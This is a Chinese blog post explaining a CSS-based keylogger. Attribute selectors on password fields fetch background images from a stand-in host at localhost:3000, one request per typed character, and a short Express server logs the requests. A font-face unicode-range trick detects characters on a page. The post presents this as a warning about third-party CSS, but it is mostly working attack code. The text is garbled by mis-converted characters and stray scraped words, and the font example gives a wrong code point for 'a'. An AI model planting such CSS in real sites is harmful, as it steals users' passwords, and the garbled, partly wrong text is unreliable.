CSS攻擊:記錄用戶密碼

簡單的CSS代碼,甚至不符合圖靈完備的語言,可是也能成爲一些攻擊者的工具,下面簡單介紹一下如何使用CSS去記錄用戶的密碼。可是這些CSS腳本會出如今第三方CSS庫中,因此使用第三方CSS庫也須要謹慎,確保代碼安全。
直接上代碼解析:css

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}複製代碼

以上是部分代碼,咱們來解析一下CSS代碼
input[type="password"]是css選擇器,做用是選擇密碼輸入框,[value$="0"]表示匹配輸入的值是以0結尾的。
因此:html

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}複製代碼

上面代碼的意思就是若是你在密碼框中輸入0,就去請求http://localhost:3000/0接口,可是瀏覽器默認狀況下是不會將用戶輸入的值存儲在value屬性中,可是有的框架會同步這些值,例如React
因此只要使用了以下圖的腳本就能去存儲用戶的輸入數據信息。前端

咱們再來看一下服務器端的代碼:express

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("啓動,監聽3000端口"));複製代碼

使用express建立服務器,監聽3000端口,只要請求http://localhost:3000/:key,就能輸出key的值,就能在服務器上記錄輸入的值
因此只要在每輸入一個值都匹配,而後經過 background-image 去請求一個已經準備好的接口,就能記錄用戶的輸入。瀏覽器

相似的方法記錄用戶的內容的CSS代碼安全

@font-face {  
   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}複製代碼

你使用的的css的簡單的字體庫,只要你的頁面中包含a,就會去請求http://localhost:3000/a,這樣就能知道你的頁面中包含有a字符。服務器

歡迎關注個人公衆號:前端八點半app

相關文章
相關標籤/搜索